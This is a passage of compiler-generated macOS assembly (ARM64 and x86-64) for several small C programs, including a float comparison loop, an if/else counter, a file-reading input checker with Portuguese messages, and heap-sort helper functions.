movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.136: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_15(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.137: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_138 jp LBB1_138 jmp LBB1_143 LBB1_138: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_7(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_139 jp LBB1_139 jmp LBB1_143 LBB1_139: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_13(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_140 jp LBB1_140 jmp LBB1_143 LBB1_140: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_141 jp LBB1_141 jmp LBB1_143 LBB1_141: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_16(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_142 jp LBB1_142 jmp LBB1_143 LBB1_142: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -76(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_15(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_143: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_16(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.144: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.145: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_19(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.146: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_19(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.147: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_9(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.148: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.149: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_16(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_150 jp LBB1_150 jmp LBB1_155 LBB1_150: ## in Loop: Header=BB1_3 Depth=1 movss -48(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_151 jp LBB1_151 jmp LBB1_155 LBB1_151: ## in Loop: Header=BB1_3 Depth=1 movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_19(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_152 jp LBB1_152 jmp LBB1_155 LBB1_152: ## in Loop: Header=BB1_3 Depth=1 movss -112(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_19(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_153 jp LBB1_153 jmp LBB1_155 LBB1_153: ## in Loop: Header=BB1_3 Depth=1 movss -104(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_9(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_154 jp LBB1_154 jmp LBB1_155 LBB1_154: ## in Loop: Header=BB1_3 Depth=1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jne LBB1_162 jp LBB1_162 LBB1_155: ## in Loop: Header=BB1_3 Depth=1 movl -40(%rbp), %eax movl %eax, -132(%rbp) ## 4-byte Spill movb $1, %al cmpl $0, -44(%rbp) movb %al, -128(%rbp) ## 1-byte Spill jne LBB1_157 ## %bb.156: ## in Loop: Header=BB1_3 Depth=1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 setae %al xorb $-1, %al movb %al, -128(%rbp) ## 1-byte Spill LBB1_157: ## in Loop: Header=BB1_3 Depth=1 movl -132(%rbp), %ecx ## 4-byte Reload movb -128(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %edx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl %edx, %ecx movb %al, -133(%rbp) ## 1-byte Spill jne LBB1_161 ## %bb.158: ## in Loop: Header=BB1_3 Depth=1 movl -24(%rbp), %eax movl %eax, -140(%rbp) ## 4-byte Spill movb $1, %al cmpl $0, -44(%rbp) movb %al, -134(%rbp) ## 1-byte Spill jne LBB1_160 ## %bb.159: ## in Loop: Header=BB1_3 Depth=1 movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 setae %al xorb $-1, %al movb %al, -134(%rbp) ## 1-byte Spill LBB1_160: ## in Loop: Header=BB1_3 Depth=1 movl -140(%rbp), %eax ## 4-byte Reload movb -134(%rbp), %cl ## 1-byte Reload xorb $-1, %cl andb $1, %cl movzbl %cl, %ecx cmpl %ecx, %eax sete %al movb %al, -133(%rbp) ## 1-byte Spill LBB1_161: ## in Loop: Header=BB1_3 Depth=1 movb -133(%rbp), %al ## 1-byte Reload movb %al, -127(%rbp) ## 1-byte Spill LBB1_162: ## in Loop: Header=BB1_3 Depth=1 movb -127(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %eax movl %eax, -124(%rbp) movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -8(%rbp) movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -16(%rbp) movl -28(%rbp), %eax movl %eax, -24(%rbp) movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -32(%rbp) movl -44(%rbp), %eax movl %eax, -40(%rbp) movss -52(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -48(%rbp) movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -56(%rbp) movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -64(%rbp) movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -72(%rbp) movss -84(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -80(%rbp) movss -92(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -88(%rbp) movss -100(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -96(%rbp) movss -108(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -104(%rbp) movss -116(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -112(%rbp) jmp LBB1_3 LBB1_163: movl -4(%rbp), %eax addq $144, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/52173.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _output ; -- Begin function output .p2align 2 _output: ; @output .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x8, [sp, #8] mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] mov w8, #13 stur w8, [x29, #-8] stur wzr, [x29, #-12] b LBB1_1 LBB1_1: ; =>This Loop Header: Depth=1 ; Child Loop BB1_5 Depth 2 ldur w8, [x29, #-12] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB1_11 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldur w8, [x29, #-8] mov w10, #2 sdiv w9, w8, w10 mul w9, w9, w10 subs w8, w8, w9 subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _output ldur w8, [x29, #-8] eor w8, w8, #0x30 stur w8, [x29, #-8] b LBB1_9 LBB1_4: ; in Loop: Header=BB1_1 Depth=1 adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _output str wzr, [sp, #16] b LBB1_5 LBB1_5: ; Parent Loop BB1_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #16] subs w8, w8, #31 cset w8, ge tbnz w8, #0, LBB1_8 b LBB1_6 LBB1_6: ; in Loop: Header=BB1_5 Depth=2 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB1_7 LBB1_7: ; in Loop: Header=BB1_5 Depth=2 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB1_5 LBB1_8: ; in Loop: Header=BB1_1 Depth=1 b LBB1_9 LBB1_9: ; in Loop: Header=BB1_1 Depth=1 b LBB1_10 LBB1_10: ; in Loop: Header=BB1_1 Depth=1 ldur w8, [x29, #-12] add w8, w8, #1 stur w8, [x29, #-12] b LBB1_1 LBB1_11: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF mov w1, #0 bl _access ldur w9, [x29, #-8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%s\n" l_.str.1: ; @.str.1 .asciz "if" l_.str.2: ; @.str.2 .asciz "else" l_.str.3: ; @.str.3 .asciz "/tmp/1" l_.str.4: ; @.str.4 .asciz "%d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _output ## -- Begin function output .p2align 4, 0x90 _output: ## @output .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _printf addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $13, -8(%rbp) movl $0, -12(%rbp) LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_5 Depth 2 cmpl $100, -12(%rbp) jge LBB1_11 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movl -8(%rbp), %eax movl $2, %ecx cltd idivl %ecx cmpl $0, %edx jne LBB1_4 ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 leaq L_.str.1(%rip), %rdi callq _output movl -8(%rbp), %eax xorl $48, %eax movl %eax, -8(%rbp) jmp LBB1_9 LBB1_4: ## in Loop: Header=BB1_1 Depth=1 leaq L_.str.2(%rip), %rdi callq _output movl $0, -16(%rbp) LBB1_5: ## Parent Loop BB1_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $31, -16(%rbp) jge LBB1_8 ## %bb.6: ## in Loop: Header=BB1_5 Depth=2 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) ## %bb.7: ## in Loop: Header=BB1_5 Depth=2 movl -16(%rbp), %eax addl $1, %eax movl %eax, -16(%rbp) jmp LBB1_5 LBB1_8: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_9 LBB1_9: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_10 LBB1_10: ## in Loop: Header=BB1_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB1_1 LBB1_11: leaq L_.str.3(%rip), %rdi xorl %esi, %esi callq _access movl -8(%rbp), %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%s\n" L_.str.1: ## @.str.1 .asciz "if" L_.str.2: ## @.str.2 .asciz "else" L_.str.3: ## @.str.3 .asciz "/tmp/1" L_.str.4: ## @.str.4 .asciz "%d" .subsections_via_symbols
the_stack_data/170451696.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #32] ldr x8, [sp, #32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_13 LBB0_2: ldr x0, [sp, #32] mov x9, sp sub x8, x29, #8 str x8, [x9] sub x8, x29, #12 str x8, [x9, #8] sub x8, x29, #16 str x8, [x9, #16] sub x8, x29, #20 str x8, [x9, #24] adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fscanf ldur w8, [x29, #-8] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_11 b LBB0_3 LBB0_3: ldur w8, [x29, #-8] subs w8, w8, #7 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_4 LBB0_4: ldur w8, [x29, #-12] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_11 b LBB0_5 LBB0_5: ldur w8, [x29, #-12] subs w8, w8, #7 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_6 LBB0_6: ldur w8, [x29, #-16] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_11 b LBB0_7 LBB0_7: ldur w8, [x29, #-16] subs w8, w8, #7 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_8 LBB0_8: ldur w8, [x29, #-20] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_11 b LBB0_9 LBB0_9: ldur w8, [x29, #-20] subs w8, w8, #7 cset w8, ge tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: ldur w8, [x29, #-8] ldur w9, [x29, #-12] add w8, w8, w9 ldur w9, [x29, #-16] add w8, w8, w9 ldur w9, [x29, #-20] add w8, w8, w9 subs w8, w8, #3 stur w8, [x29, #-24] ldur w9, [x29, #-24] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB0_12 LBB0_11: adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf b LBB0_12 LBB0_12: ldr x0, [sp, #32] bl _fclose b LBB0_13 LBB0_13: mov w0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "entrada.txt" l_.str.1: ; @.str.1 .asciz "r" l_.str.2: ; @.str.2 .asciz "Erro ao abrir o arquivo!" l_.str.3: ; @.str.3 .asciz "%d %d %d %d" l_.str.4: ; @.str.4 .asciz "Tomadas que podem ser usadas: %d" l_.str.5: ; @.str.5 .asciz "Input Invalido! Insira elementos entre o intervalo [2,6]" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -32(%rbp) cmpq $0, -32(%rbp) jne LBB0_2 ## %bb.1: leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf jmp LBB0_13 LBB0_2: movq -32(%rbp), %rdi leaq L_.str.3(%rip), %rsi leaq -8(%rbp), %rdx leaq -12(%rbp), %rcx leaq -16(%rbp), %r8 leaq -20(%rbp), %r9 movb $0, %al callq _fscanf cmpl $1, -8(%rbp) jle LBB0_11 ## %bb.3: cmpl $7, -8(%rbp) jge LBB0_11 ## %bb.4: cmpl $1, -12(%rbp) jle LBB0_11 ## %bb.5: cmpl $7, -12(%rbp) jge LBB0_11 ## %bb.6: cmpl $1, -16(%rbp) jle LBB0_11 ## %bb.7: cmpl $7, -16(%rbp) jge LBB0_11 ## %bb.8: cmpl $1, -20(%rbp) jle LBB0_11 ## %bb.9: cmpl $7, -20(%rbp) jge LBB0_11 ## %bb.10: movl -8(%rbp), %eax addl -12(%rbp), %eax addl -16(%rbp), %eax addl -20(%rbp), %eax subl $3, %eax movl %eax, -24(%rbp) movl -24(%rbp), %esi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf jmp LBB0_12 LBB0_11: leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf LBB0_12: movq -32(%rbp), %rdi callq _fclose LBB0_13: xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "entrada.txt" L_.str.1: ## @.str.1 .asciz "r" L_.str.2: ## @.str.2 .asciz "Erro ao abrir o arquivo!" L_.str.3: ## @.str.3 .asciz "%d %d %d %d" L_.str.4: ## @.str.4 .asciz "Tomadas que podem ser usadas: %d" L_.str.5: ## @.str.5 .asciz "Input Invalido! Insira elementos entre o intervalo [2,6]" .subsections_via_symbols
the_stack_data/159515804.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _swap ; -- Begin function swap .p2align 2 _swap: ; @swap .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str x1, [sp, #16] ldr x8, [sp, #24] ldr w8, [x8] str w8, [sp, #12] ldr x8, [sp, #16] ldr w8, [x8] ldr x9, [sp, #24] str w8, [x9] ldr w8, [sp, #12] ldr x9, [sp, #16] str w8, [x9] add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _printArray ; -- Begin function printArray .p2align 2 _printArray: ; @printArray .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] str wzr, [sp, #16] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldur x8, [x29, #-8] ldrsw x9, [sp, #16] ldr w9, [x8, x9, lsl #2] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB1_1 LBB1_4: adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _heapify ; -- Begin function heapify .p2align 2 _heapify: ; @heapify .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] str w2, [sp, #16] ldr w8, [sp, #16] str w8, [sp, #12] ldr w9, [sp, #16] mov w8, #2 mul w9, w8, w9 add w9, w9, #1 str w9, [sp, #8] ldr w9, [sp, #16] mul w8, w8, w9 add w8, w8, #2 str w8, [sp, #4] ldr w8, [sp, #8] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_3 b LBB2_1 LBB2_1: ldur x8, [x29, #-8] ldrsw x9, [sp, #8] ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-8] ldrsw x10, [sp, #12] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB2_3 b LBB2_2 LBB2_2: ldr w8, [sp, #8] str w8, [sp, #12] b LBB2_3 LBB2_3: ldr w8, [sp, #4] ldur w9, [x29, #-12] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB2_6 b LBB2_4 LBB2_4: ldur x8, [x29, #-8] ldrsw x9, [sp, #4] ldr w8, [x8, x9, lsl #2] ldur x9, [x29, #-8] ldrsw x10, [sp, #12] ldr w9, [x9, x10, lsl #2] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB2_6 b LBB2_5 LBB2_5: ldr w8, [sp, #4] str w8, [sp, #12] b LBB2_6 LBB2_6: ldr w8, [sp, #12] ldr w9, [sp, #16] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB2_8 b LBB2_7 LBB2_7: ldur x8, [x29, #-8] ldrsw x9, [sp, #16] add x0, x8, x9, lsl #2 ldur x8, [x29, #-8] ldrsw x9, [sp, #12] add x1, x8, x9, lsl #2 bl _swap ldur x0, [x29, #-8] ldur w1, [x29, #-12] ldr w2, [sp, #12] bl _heapify b LBB2_8 LBB2_8: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d " l_.str.1: ; @.str.1 .asciz "\n" .subsections_via_symbols
